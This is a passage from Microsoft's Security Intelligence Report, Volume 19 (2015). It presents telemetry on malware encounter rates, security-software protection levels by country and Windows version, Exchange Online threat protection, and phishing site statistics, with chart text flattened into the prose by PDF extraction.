See Brantall, Rotbrow, and Filcout on page 60 for more information.
Encounters involving JS/Axpergle, a detection for the Angler exploit kit and the only exploit-related family in the top ten in 1H15, were almost entirely confined to computers running Windows 7 although Axpergle ranked first on that platform, it ranked 82nd on Windows Vista and ranked outside the top 100 on Windows 8 and Windows 8.1.
The malicious webpages that exploit kits use to spread malware often include scripts that detect certain aspects of the computers computing environment and only present their exploits to computers that meet criteria specified by the attacker.
The Angler exploit kit clearly affects Windows 7 far more than other platforms, which may partially be caused by the integration of Adobe Flash Player into Internet Explorer in Windows 8 and 8.1.
The Angler exploit kit relies heavily on exploiting vulnerabilities in old, out-of-date versions of Flash Player, which must be installed as an add-on and updated separately from Internet Explorer in versions of Windows prior to Windows 8.
Because Flash Player is integrated into Internet Explorer in Windows 8 and Windows 8.1, it receives security updates through Windows Update and Microsoft Update along with other operating system components, which makes it easier for users to stay current on security updates for the component.
Apart from Axpergle, the list of the most commonly encountered malware families was largely consistent from platform to platform.
Win32/Peals, http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Gamarue http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Kilim http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Sality http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ramnit http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals 82 MALWARE AND UNWANTED SOFTWARE Win32/Skeeyah, and Win32/Obfuscator were all among the five most commonly encountered malware platform on each supported client platform.
Figure 60.
The unwanted software families most commonly encountered by Microsoft real-time antimalware solutions in 2Q15, and how they ranked in prevalence on different platforms Rank 2Q15 Family Most significant category Rank (Windows Vista SP2) Rank Windows 7 SP1) Rank (Windows 8 RTM) Rank (Windows 8.1 RTM) 1 Win32/CouponRuc  Browser Modifiers 2 1 1 1 2 Win32/KipodToolsCby  Browser Modifiers 1 2 2 3 3 Win32/InstalleRex  Software Bundlers 6 4 3 2 4 Win32/SaverExtension  Adware 4 5 4 4 5 Win32/AlterbookSP  Browser Modifiers 3 3 5 5 Unlike malware, unwanted software delivery mechanisms typically make little effort to distinguish between different platforms, and as a result the list of the most commonly encountered unwanted software families is almost identical on each supported platform.
Home and enterprise threats The usage patterns of home users and enterprise users tend to be very different.
Enterprise users typically use computers to perform business functions while connected to a network, and may have limitations placed on their Internet and email usage.
Home users are more likely to connect to the Internet directly or through a home router and to use their computers for entertainment purposes, such as playing games, watching videos, shopping, and communicating with friends.
These different usage patterns mean that home users tend to be exposed to a different mix of computer threats than enterprise users.
The infection telemetry data produced by Microsoft antimalware products and tools includes information about whether the infected computer belongs to an Active Directory Domain Services (AD DS) domain.
Such domains are used almost exclusively in enterprise environments, and computers that do not belong to a domain are more likely to be used at home or in other non- enterprise contexts.
Comparing the threats encountered by domain-joined computers and non-domain computers can provide insights into the different ways attackers target enterprise and home users and which threats are more likely to succeed in each environment.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   83 Figure 61.
Malware encounter rates for domain-based and non-domain computers, 3Q142Q15 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Figure 62.
Malware and unwanted software encounter rates for domain-based and non-domain computers, 1H15, by category Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Enterprise environments typically implement defense-in-depth measures, such as enterprise firewalls, that prevent a certain amount of malware from reaching users computers.
Consequently, enterprise computers tend to 0 5 10 15 20 25 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Non-domain Domain 0 1 2 3 4 5 6 7 Browser Modifiers Trojans Worms Adware Exploits Obfuscators Injectors Downloaders Droppers Viruses Software Bundlers Backdoors Other Malware Password Stealers Monitoring Tools Ransomware E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Domain Non-domain 84 MALWARE AND UNWANTED SOFTWARE encounter malware at a lower rate than consumer computers.
As Figure 61 shows, the encounter rate for consumer computers was about 2.5 times as high as the rate for enterprise computers in 1H15.
In addition to encountering less malware in general, computers in enterprise environments tend to encounter different kinds of threats than consumer computers, as shown in Figure 62.
Non-domain computers encountered disproportionate amounts of unwanted software compared to domain-based computers, with Adware, Browser Modifiers, and Software Bundlers each appearing between three and six times as often on non-domain computers.
Meanwhile, domain-based computers encountered Password Stealers  Monitoring Tools malware nearly as often as their non-domain counterparts, despite encountering less than half as much malware as non-domain computers overall.
One password stealer in particular, Win32/Dyzap, was encountered by domain-based computers more than four times as often as non-domain computers (an encounter rate of 0.12 percent on domain-based computers, compared to 0.03 percent on non-domain computers.)
Dyzap steals login credentials for a long list of banking websites using man-in-the-browser (MITB) attacks.
It is usually installed on the infected computer by the downloader family Win32/Upatre, which is typically delivered via social engineering techniques that target enterprise audiences (for example, spam messages that mimic business faxes or overnight package delivery notifications).
Figure 63 and Figure 64 list the top 10 malware families detected on domain- joined and non-domain computers, respectively, in 1H15.
Enterprise computers tend to encounter malware at a lower rate than consumer computers.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Dyzap http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Upatre MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   85 Figure 63.
Quarterly trends for the top 10 malware and unwanted software families detected on domain-joined computers in 1H15, by percentage of computers encountering each family Family Most significant category 1Q15 2Q15 Win32/KipodToolsCby  Browser Modifiers 0.92 0.58 JS/Axpergle  Exploits 0.46 0.45 Win32/CouponRuc  Browser Modifiers 0.42 0.38 Win32/Conficker  Worms 0.45 0.32 Win32/AlterbookSP  Browser Modifiers  0.70 VBS/Jenxcus  Worms 0.34 0.29 Win32/Upatre  Downloaders  Droppers 0.42 0.19 INF/Autorun  Obfuscators  Injectors 0.38 0.22 Win32/Peals  Trojans 0.18 0.41 Win32/SaverExtension  Adware 0.47 0.11 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0 W in 32 /K ip od To ol sC by W in 32 /C ou po nR uc W in 32 /A lte rb oo kS P W in 32 /C on fic ke r V BS /J en xc us JS /A xp er gl e W in 32 /U pa tr e IN F/ A ut or un W in 32 /P ea ls W in 32 /S av er Ex te ns io n Browser Modifiers Worms Exploits Downloaders Droppers Obfuscators Injectors Trojans Adware E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) 1Q15 2Q15 http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Conficker http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Upatre http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension 86 MALWARE AND UNWANTED SOFTWARE Figure 64.
Quarterly trends for the top 10 malware and unwanted software families detected on non-domain computers in 1H15, by percentage of computers encountering each family Family Most significant category 1Q15 2Q15 Win32/KipodToolsCby  Browser Modifiers 3.47 2.20 Win32/CouponRuc  Browser Modifiers 2.60 2.74 Win32/SaverExtension  Adware 3.09 0.91 Win32/Obfuscator  Obfuscators  Injectors 1.13 1.18 Win32/IeEnablerCby  Browser Modifiers 1.83 0.13 VBS/Jenxcus  Worms 0.98 0.82 Win32/Gamarue Worms 0.89 0.81 INF/Autorun Obfuscators  Injectors 0.95 0.61 JS/Axpergle  Exploits 0.89 0.66 Win32/InstalleRex  Software Bundlers 0.004 1.46 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Six familiesINF/Autorun, JS/Axpergle, Win32/CouponRuc, Win32/KipodToolsCby, VBS/Jenxcus, and Win32/SaverExtensionwere common to both lists.
All were more frequently encountered on non- domain computers than on domain-joined computers.
See Threat families on page 74 for more information about these families.
0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 4.0 W in 32 /K ip od To ol sC by W in 32 /C ou po nR uc W in 32 /I eE na bl er C by W in 32 /S av er Ex te ns io n V BS /J en xc us W in 32 /G am ar ue W in 32 /O bf us ca to r IN F/ A ut or un JS /A xp er gl e W in 32 /I ns ta lle Re x Browser Modifiers Adware Worms Obfuscators  Injectors Exploits Software Bundlers E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) 1Q15 2Q15 http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/IeEnablerCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Gamarue http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   87 The four families that were unique to the top 10 list for domain-joined computers but not for non-domain computers are the worm family Win32/Conficker, the browser modifier Win32/AlterbookSP, the downloader family Win32/Upatre, and the trojan family Win32/Peals.
Conficker is a worm that was disrupted several years ago, but continues to be encountered in domain environments because of its use of a built-in list of common and weak passwords to spread between computers.
AlterbookSP is a browser add-on that formerly displayed behaviors of unwanted software.
Recent versions of the add-on no longer meet Microsoft detection criteria, and are no longer considered unwanted software.
Upatre installs malware and unwanted software on the affected computer without the users consent.
It is frequently distributed as an attachment to spam email messages.
For more information about Upatre and how it spreads, see the following entries in the MMPC blog at blogs.technet.com/mmpc: Wire transfer spam spreads Upatre (December 12, 2014) Upatre update: infection chain and affected countries (March 12, 2015) See Malware at Microsoft: Dealing with threats in the Microsoft environment on page 110 for information about the threat landscape on computers at Microsoft and to learn about the actions Microsoft IT takes to protect users, data, and resources.
Security software use Recent releases of the MSRT collect and report details about the state of real- time antimalware software on a computer, if the computers administrator has chosen to opt in to provide data to Microsoft.
This telemetry data makes it possible to analyze security software usage patterns around the world and correlate them with infection rates.
Figure 65 shows the percentage of computers worldwide that the MSRT found to be protected or unprotected by real-time security software each quarter in 2H14 and 1H15.
Conficker was dis- rupted several years ago, but continues to be encountered in domain environ- ments because of its use of a built-in list of common and weak passwords to spread between computers.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Conficker http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Upatre http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://blogs.technet.com/b/mmpc/archive/2014/12/11/wire-transfer-spam-spreads-upatre.aspx http://blogs.technet.com/b/mmpc/archive/2015/03/12/upatre-update-infection-chain-and-affected-countries.aspx 88 MALWARE AND UNWANTED SOFTWARE Figure 65.
Percentage of computers worldwide protected by real-time security software, 3Q142Q15 A typical computer runs the MSRT three times each quarter, once for each monthly version of the tool that Microsoft releases.
In Figure 65, Protected represents computers that had real-time security software active and up-to- date every time the MSRT ran during a quarter Intermittently protected represents computers that had security software active during one or more MSRT executions, but not all of them.
Unprotected represents computers that did not have security software active during any MSRT executions that quarter.
Overall, about three-fourths of computers worldwide were found to be always protected at every monthly MSRT execution in each of the past four quarters, varying between 71.4 percent and 74.3 percent.
Computers that never reported running security software accounted for between 18.8 and 19.3 percent of computers worldwide each quarter.
Intermittently protected computersthose that were found to be running real-time security software during at least one MSRT execution in a quarter, but not all of themaccounted for between 6.4 and 9.9 percent of computers each quarter.
Computers that do not run real-time security software are at significantly greater risk of malware infection than computers that do.
Figure 66 compares infection rates with protection levels worldwide for each of the last four quarters.
0 10 20 30 40 50 60 70 80 3Q14 4Q14 1Q15 2Q15 P e rc e n t o f co m p u te rs r u n n in g t h e M SR T Intermittently protected Unprotected Always protected MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   89 Figure 66.
Infection rates for protected and unprotected computers, 3Q142Q15 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
The MSRT reported that computers that were never found to be running real-time security software during 1H15 were about six times as likely to be infected with malware as computers that were always found to be protected.
Computers that were intermittently protected were about three times more likely to be infected with malware in 1H15 than computers that were always protected.
Users who dont run real-time security software arent always unprotected by choice: a number of prevalent malware families are capable of disabling some security products, potentially without the user even knowing.
Other users might disable or uninstall security software intentionally because of perceived performance issues, a belief that protection is not necessary, or a desire to run programs that would be quarantined or removed by security software.
In other cases, users lose up-to-date real-time protection when they dont renew paid subscriptions for their antimalware software, which might come pre-installed with their computers as limited-time trial software.
(
See The challenge of expired security software on pages 2128 of Microsoft Security Intelligence Report, Volume 17 (JanuaryJune 2014), available from the Microsoft Download Center, for more information about 0 5 10 15 20 25 3Q14 4Q14 1Q15 2Q15 C o m p u te rs c le a n e d p e r 1, 0 0 0 s ca n n e d Intermittently protected Unprotected Always protected Users who dont run real-time security software arent always unprotected by choice.
http://www.microsoft.com/download/details.aspx?id44937 90 MALWARE AND UNWANTED SOFTWARE the causes and consequences of expired security software.)
Whatever the reason, users who dont have functioning real-time antimalware protection face significantly greater risk from malware infection than users who do, as Figure 66 illustrates.
Security software use worldwide Just as infection and encounter rates differ from one country or region to another, so do security software usage rates, as shown in Figure 67.
Figure 67.
Average security software protection state for the locations with the most computers executing the MSRT in 1H15 Computers that reported being fully protected in these locations ranged between 67.7 percent and 79.1 percent, with all locations except China and Russia exceeding the worldwide rate of 74.3 percent of computers reporting as fully protected.
Computers that reported being fully unprotected in these locations ranged between 13.6 percent and 22.5 percent, with Russia and China reporting larger percentages of fully unprotected computers than the world overall.
Computers that were protected in some months but not in others accounted for between 4.6 percent and 9.8 percent in these locations.
The rate of security software usage in a country or region often correlates with its infection rate.
Figure 68 and Figure 69 show the percentage of computers in 0 10 20 30 40 50 60 70 80 90 100 (Worldwide) China United States Japan Germany France United Kingdom Brazil Russia Canada Italy P e rc e n t o f co m p u te rs r u n n in g t h e M SR T Protected Intermittent Unprotected MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   91 different countries and regions that reported being fully protected and fully unprotected, respectively, in 2Q15.
Figure 68.
Percent of computers reporting as Protected during every MSRT execution in 2Q15, by country/region Figure 69.
Percent of computers reporting as Unprotected during every MSRT execution in 2Q15, by country/region The locations with the most computers reporting as fully protected by real- time security software include Finland, with 83.9 percent of computers reporting as fully protected in 2Q15 Denmark, at 79.5 percent and Norway, at 78.9 percent.
Locations with the fewest computers reporting as fully protected include Libya, at 46.9 percent Iraq, at 53.3 percent and Azerbaijan, at 57.9 percent.
92 MALWARE AND UNWANTED SOFTWARE The ranking of countries and regions by unprotected rate is largely an inverse of their ranking according to protected rate.
The locations with the fewest computers reporting as fully unprotected include Finland, at 10.4 percent Denmark, at 14.2 percent and the Czech Republic, at 14.4 percent.
Locations with the most computers reporting as fully unprotected include Libya, at 41.7 percent Iraq, at 39.5 percent and Azerbaijan, at 32.5 percent.
Countries and regions with high percentages of computers reporting as fully unprotected also tend to have high infection rates, as Figure 70 shows.
Figure 70.
Infection rates for the locations with the highest percentage of computers reporting as fully unprotected in 1H15 Country/region 1H15 average unprotected CCM 1Q15 CCM 2Q15 Unprotected CCM 1Q15 Unprotected CCM 2Q15 Libya 40.76 61.0 69.8 126.8 145.5 Iraq 39.29 76.6 80.2 178.0 187.8 Azerbaijan 32.19 29.0 34.1 72.5 80.7 Mongolia 32.19 66.8 77.6 178.4 202.3 Morocco 32.19 58.2 66.6 162.7 181.5 Palestinian Authority 32.18 59.5 68.7 157.3 182.0 Jordan 31.04 36.6 45.3 98.8 120.4 Turkey 30.24 22.5 26.3 59.7 63.6 Lebanon 30.22 31.7 42.5 90.9 114.3 Vietnam 29.71 30.4 35.8 77.6 92.6 Worldwide 19.11 5.4 8.4 15.7 20.7 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
The locations in the table all had overall infection rates ranging between 3.1 and 14.2 times as high as the worldwide average each quarter.
The infection rates for fully unprotected computers in these locations ranged between 3.1 and 11.4 times as high as the infection rates for fully unprotected computers worldwide, and between 7.6 and 33.0 times as high as the infection rates for all computers worldwide.
In Mongolia, the location with the highest infection rates in Figure 70, the MSRT detected and removed malware on 20.2 percent of the fully unprotected computers that executed it at least once in 2Q15 (a CCM of 202.3).
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   93 Security software use by platform Protection rates can also vary by operating system, as shown in Figure 71.
Figure 71.
Average quarterly security software protection state for supported client versions of Windows in 1H15 Only 10.0 percent of computers running Windows 8.1 reported being unprotected during every MSRT execution each quarter on average, about half of the rate reported by computers running any other supported client version of Windows.
At the same time, Windows 8.1 had a higher rate of intermittent protection than any other platform, primarily because of active security products expiring during the period.
In most cases, this is probably because of commercial security products pre-installed on new computers with trial subscriptions that expire within a few months unless the purchaser pays to extend the subscription.
The reasons computers go unprotected can vary significantly by platform, as Figure 72 illustrates.
0 10 20 30 40 50 60 70 80 90 100 Windows Vista SP2 Windows 7 SP1 Windows 8 RTM Windows 8.1 RTM P e rc e n t o f co m p u te rs r u n n in g t h e M SR T Protected Intermittent Unprotected 94 MALWARE AND UNWANTED SOFTWARE Figure 72.
Status reported by unprotected computers running supported client versions of Windows in 1H15 Windows Vista and Windows 7 do not report expired subscriptions.
On Windows Vista and Windows 7, unprotected computers predominantly report having no antimalware software installed at all.
On Windows 8 and Windows 8.1, Windows Defender is enabled by default if no other antimalware software is present, so the number of computers reporting no antimalware software is very low.
On Windows 8 and Windows 8.1, expired versions of commercial antimalware products that are no longer receiving signature updates account for the largest percentage of unprotected computers.
Advanced Threat Protection takes malware defense to the next level Computer security is a constant arms race: security professionals and antimalware vendors continually seek ways to better protect computers and people from harm, while attackers continually look for ways to defeat those protections.
Conventional antimalware products offer protection against known threats, but are significantly less effective against unknown and unidentifiable malware.
The advent of targeted attack groups, such as the one described in STRONTIUM: A profile of a persistent and motivated adversary beginning on page 3, has raised the bar for defenders, as these groups often have the resources to craft custom malware variants and test them against popular security products to ensure that they will not be detected.
Although security 0 10 20 30 40 50 60 70 80 90 100 Windows Vista SP2 Windows 7 SP1 Windows 8 RTM Windows 8.1 RTM P e rc e n t o f co m p u te rs r e p o rt in g a s u n p ro te ct e d Expired Off Out of date No AV installed Snoozed MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   95 software vendors try to respond to new threats with detection signature updates as quickly as possible, new malware variants may still have several crucial hours or days to compromise computers, free from detection.
Office 365 and Exchange Online seek to close that gap for their customers with Advanced Threat Protection, which was introduced earlier this year.
For years, Exchange Online has offered customers multiple layers of protection from malicious files, including scanning incoming email attachments with multiple antimalware engines from different vendors to take advantage of a broad set of detection signatures and capabilities.
Now, Advanced Threat Protection provides an additional layer of defense against threats and malicious links that have never been seen before.
Figure 73.
How Advanced Threat Protection works with Exchange Online Safe attachments Using a real-time security software product from a reputable vendor and keeping the detection signatures up-to-date remains one of the best ways individuals and organizations can protect themselves against most of the threats they face.
Antimalware software relies predominately on detection signatures written to target specific malicious binaries, or groups of closely related threats that can be detected heuristically.
This approach can be a very effective defense against most malware, which attackers typically try to distribute widely in order to compromise large numbers of computers for their purposes.
Unfortunately, conventional antimalware software is often less effective against targeted attacks mounted by groups such as STRONTIUM (see page 3).
These groups, which focus on targeting computers at specific institutions, often use specially crafted threats that they test against popular antimalware solutions ahead of time to Safe Multiple filters  3 antivirus engines with Exchange Online protection Links Recipient Unsafe Attachment Supported file type Clean by AV/AS filters Not in Reputation list Detonation chamber (sandbox) Executable?
Registry call?
Elevation?
?
Sender 96 MALWARE AND UNWANTED SOFTWARE ensure that they will not be detected.
By the time detection signatures are available to stop such a threat, it may have already compromised the organization.
Exchange Online Advanced Threat Protection adds a new layer of defense against email-borne threats that uses behavioral analysis to detect incoming files that may be harmful, and blocks them before they can reach their intended recipients.
When an incoming message includes a potentially dangerous attached file, Exchange Online launches it in a detonation chambera virtual sandboxed environment in which potential threats can run without posing harm to any other resourcesand monitors it for malicious behavior such as suspicious registry changes, attempts to access memory dumps, changes to executables, and other actions that malware characteristically takes.
This monitoring makes it possible to detect and block threats that have never been seen before and for which no detection signatures are available.
Exchange Online Advanced Threat Protection includes anti-sandbox detection features such as vulnerability detection to combat advanced threats that avoid taking malicious actions when they determine they are being run in a virtual machine.
Figure 74.
Exchange Online Advanced Threat Protection notifies administrators when malware is detected Administrators can configure how Exchange Online reacts when it determines that an attachment contains malware.
Exchange Online can be configured to block delivery of the message, notify administrators, and include a copy of the blocked message so they can analyze it themselves and determine whether additional action is necessary.
The process of analyzing a message typically takes about four to five minutes administrators can set a 30 minute time limit for MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   97 analysis, after which the message will either be delivered or blocked, as administrators see fit.
Figure 75.
Types of malicious files blocked by Exchange Online Advanced Threat Protection over a two-month period in 2015 Safe links In addition to sending malware to recipients directly, attackers often send email messages that contain links to malware or drive-by download pages, in hopes that the recipients will click the links and become infected.
To provide protection against malicious links, administrators can configure Exchange Online Advanced Threat Protection to rewrite any links in incoming messages to proxy through the Exchange Online service.
When a user clicks on a rewritten link, Exchange Online checks the intended destination URL against its database of malicious URLs.
If the URL is not determined to be malicious, the user is quickly and seamlessly redirected to their intended destination.
If the URL is determined to be malicious, a blocking page is displayed instead.
Exchange Online Advanced Threat Protection checks each URL at the time the link is clicked, which means it can protect users from malicious links that were not known to be malicious at the time the message was originally sent.
Others 47.5 PDF 29.5 Excel 8.7 Word 7.3 URL 3.8 PowerPoint 1.8 EXE 1.3 98 MALWARE AND UNWANTED SOFTWARE Figure 76.
Exchange Online Advanced Threat Protection blocks malicious links in email messages Exchange Online Advanced Threat Protection can be configured to track when users clicks malicious links to help administrators monitor potential targeted attacks and determine which computers may have been exposed to malware.
Customers with privacy or compliance concerns can disable the link tracking feature.
Advanced Threat Protection is available for subscribers of select Exchange or Office 365 plans for an additional small per-user fee.
For more information, see https://products.office.com/exchange/online-email-threat-protection.
Guidance: Defending against malware Effectively protecting users from malware requires an active effort on the part of organizations and individuals.
For in-depth guidance, see Help prevent malware infection on your PC at the Microsoft Malware Protection Center website at www.microsoft.com/mmpc.
For help understanding the threats that pose the greatest risk to your environment and how to defend against them, see Fixing the 1 Problem in Computer Security: A Data-Driven Defense, available from Microsoft TechNet.
https://products.office.com/exchange/online-email-threat-protection http://www.microsoft.com/security/portal/mmpc/shared/prevention.aspx http://www.microsoft.com/security/portal/mmpc/shared/prevention.aspx https://gallery.technet.microsoft.com/Fixing-the-1-Problem-in-2e58ac4a https://gallery.technet.microsoft.com/Fixing-the-1-Problem-in-2e58ac4a MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   99 Malicious websites Attackers often use websites to conduct phishing attacks or distribute malware.
Malicious websites typically appear to be completely legitimate, and provide no outward indicators of their malicious nature even to experienced computer users.
In many cases, these sites are legitimate websites that have been compromised by malware, SQL injection, or other techniques in efforts by attackers to take advantage of the trust users have invested in such sites.
To help protect users from malicious webpages, Microsoft and other browser vendors have developed filters that keep track of sites that host malware and phishing attacks and display prominent warnings when users try to navigate to them.
The information in this section is compiled from a variety of sources, including telemetry data produced by SmartScreen Filter (in Internet Explorer versions 8 through 11 and pre-release versions of Microsoft Edge) and the Phishing Filter (in Internet Explorer 7), from a database of known active phishing and malware hosting sites reported by users of Internet Explorer and other Microsoft products and services, and from malware data provided by Microsoft antimalware technologies.
(
See Appendix B: Data sources on page 125 for more information about the products and services that provided data for this report.)
100 MALICIOUS WEBSITES Figure 77.
SmartScreen Filter in Internet Explorer blocks reported phishing and malware distribution sites to protect users Phishing sites Microsoft gathers information about phishing sites and impressions from phishing impressions that are generated by users who choose to enable the Phishing Filter or SmartScreen Filter.21 A phishing impression is a single instance of a user attempting to visit a known phishing site with SmartScreen Filter enabled and being warned, as illustrated in Figure 78.
21 See Appendix B: Data sources on page 129 for information about the products and services used to provide data for this report.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   101 Figure 78.
How Microsoft tracks phishing impressions Figure 79 illustrates the volume of phishing impressions tracked by SmartScreen Filter each month from February through July of 2015, compared to the volume of distinct phishing URLs visited.
Figure 79.
Phishing sites and impressions reported by SmartScreen Filter, FebruaryJuly 2015, relative to the monthly average for each 0 20 40 60 80 100 120 140 160 February March April May June July P e rc e n t o f m o n th ly a ve ra g e Sites Impressions Average 102 MALICIOUS WEBSITES Numbers of active phishing sites and phishing impressions both increased between February and July, indicative of a general increase in phishing activity.
Because phishers are frequently observed using campaigns to drive large amounts of traffic to a relatively small number of pages, however, the two metrics are generally not strongly correlated, and the dual increase through June and July may be largely coincidental.
Target institutions Some types of sites tend to consistently draw many more impressions per site than others.
Figure 80 shows the breakdown of phishing impressions by category as reported by SmartScreen Filter.
Figure 80.
Impressions reported by SmartScreen Filter for each type of phishing site, FebruaryJuly 2015 Financial institutions have always been popular phishing targets because of their potential for providing direct illicit access to victims bank accounts.
Sites that targeted financial institutions accounted for the largest number of active phishing attacks during the period, as well as the second largest number of impressions.
(
See Win32/Banload and Banking Malware on page 21 for information about regional problems with banking malware in Brazil.)
0 10 20 30 40 50 60 Online Services Financial Sites Social Networking E-Commerce Gaming P e rc e n t o f to ta l i m p re ss io n s/ si te s Impressions Sites MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   103 Phishing sites that targeted online services received the largest share of impressions during the period, and accounted for the second largest number of active phishing URLs.
The other three categories each accounted for a small percentage of both sites and impressions.
Global distribution of phishing sites and clients Phishing impression information from SmartScreen Filter includes anonymized information about the IP addresses of the clients making the reports, as well as the IP addresses of the phishing sites themselves.
Performing geographic lookups on these addresses makes it possible to analyze patterns among both the computers that host phishing sites and the users that they target.
Figure 81.
Phishing sites per 1,000 Internet hosts for locations around the world in 1H15 SmartScreen Filter detected approximately 5.0 phishing sites per 1,000 Internet hosts worldwide in 1H15.
Locations hosting higher than average concentrations of phishing sites include Bulgaria (98.5 per 1,000 Internet hosts in 1Q15), Libya (15.6), and Belize (14.5).
Locations with low concentrations of phishing sites include Taiwan (1.2), the United Arab Emirates (1.4), and Korea (1.6).
Malware hosting sites SmartScreen Filter helps provide protection against sites that are known to host malware, in addition to phishing sites.
SmartScreen Filter uses file and URL 104 MALICIOUS WEBSITES reputation data and Microsoft antimalware technologies to determine whether sites distribute unsafe content.
As with phishing sites, Microsoft collects anonymized data regarding how many people visit each malware hosting site and uses the information to improve SmartScreen Filter and to better combat malware distribution.
Figure 82.
SmartScreen Filter in Internet Explorer displays a warning when a user attempts to download an unsafe file Figure 83 compares the volume of active malware hosting sites in the Microsoft database each month with the volume of malware impressions tracked.
Figure 83.
